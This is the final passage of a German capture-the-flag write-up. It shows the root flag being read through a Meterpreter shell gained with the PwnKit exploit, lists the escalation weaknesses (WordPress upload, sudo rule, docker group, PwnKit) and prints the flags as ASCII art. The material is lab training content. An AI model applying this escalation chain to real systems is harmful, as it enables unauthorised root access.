 | |  __  ___   ___   __| |      | | ___ | |__    | | | | | |
 | | |_ |/ _ \ / _ \ / _` |  _   | |/ _ \| '_ \   | | | | | |
 | |__| | (_) | (_) | (_| | | |__| | (_) | |_) |  |_| |_| |_|
  \_____|\___/ \___/ \__,_|  \____/ \___/|_.__/   (_) (_) (_)
              _     _   _             _              __ _                        _       _               _   _     _        _____ _______ ______
             | |   | \ | |           | |            / _| |                      | |     (_)             | | | |   (_)      / ____|__   __|  ____|
  _ __   ___ | |_  |  \| | ___   ___ | |__     __ _| |_| |_ ___ _ __   ___  ___ | |_   ___ _ __   __ _  | |_| |__  _ ___  | |       | |  | |__
 | '_ \ / _ \| __| | . ` |/ _ \ / _ \| '_ \   / _` |  _| __/ _ \ '__| / __|/ _ \| \ \ / / | '_ \ / _` | | __| '_ \| / __| | |       | |  |  __|
 | | | | (_) | |_  | |\  | (_) | (_) | |_) | | (_| | | | ||  __/ |    \__ \ (_) | |\ V /| | | | | (_| | | |_| | | | \__ \ | |____   | |  | |
 |_| |_|\___/ \__| |_| \_|\___/ \___/|_.__/   \__,_|_|  \__\___|_|    |___/\___/|_| \_/ |_|_| |_|\__, |  \__|_| |_|_|___/  \_____|  |_|  |_|
                                                                                                 __/ |
                                                                                                |___/
                    

Analyse: Aus der durch PwnKit erlangten Root-Meterpreter-Session wird eine System-Shell geöffnet. Im `/root`-Verzeichnis wird die `flag.txt` gefunden und ihr Inhalt (ASCII-Art "Congratulations Reconforce") angezeigt.

Bewertung: Die Root-Flag wurde erfolgreich ausgelesen. Der Inhalt ist die ASCII-Art.

Empfehlung (Pentester): Dokumentieren Sie die Flag und die beiden Eskalationspfade.
Empfehlung (Admin): Beheben Sie alle Schwachstellen (WordPress Login/Upload, Sudo-Regel, Docker-Gruppe, PwnKit).

Flags

cat /home/offensivehack/user.txt
oho!! not finished now.. find root flag.txt !!
cat /root/flag.txt
   _____                 _        _       _        _   _   _
  / ____|               | |      | |     | |      | | | | | |
 | |  __  ___   ___   __| |      | | ___ | |__    | | | | | |
 | | |_ |/ _ \ / _ \ / _` |  _   | |/ _ \| '_ \   | | | | | |
 | |__| | (_) | (_) | (_| | | |__| | (_) | |_) |  |_| |_| |_|
  \_____|\___/ \___/ \__,_|  \____/ \___/|_.__/   (_) (_) (_)
              _     _   _             _              __ _                        _       _               _   _     _        _____ _______ ______
             | |   | \ | |           | |            / _| |                      | |     (_)             | | | |   (_)      / ____|__   __|  ____|
  _ __   ___ | |_  |  \| | ___   ___ | |__     __ _| |_| |_ ___ _ __   ___  ___ | |_   ___ _ __   __ _  | |_| |__  _ ___  | |       | |  | |__
 | '_ \ / _ \| __| | . ` |/ _ \ / _ \| '_ \   / _` |  _| __/ _ \ '__| / __|/ _ \| \ \ / / | '_ \ / _` | | __| '_ \| / __| | |       | |  |  __|
 | | | | (_) | |_  | |\  | (_) | (_) | |_) | | (_| | | | ||  __/ |    \__ \ (_) | |\ V /| | | | | (_| | | |_| | | | \__ \ | |____   | |  | |
 |_| |_|\___/ \__| |_| \_|\___/ \___/|_.__/   \__,_|_|  \__\___|_|    |___/\___/|_| \_/ |_|_| |_|\__, |  \__|_| |_|_|___/  \_____|  |_|  |_|
                                                                                                 __/ |
                                                                                                |___/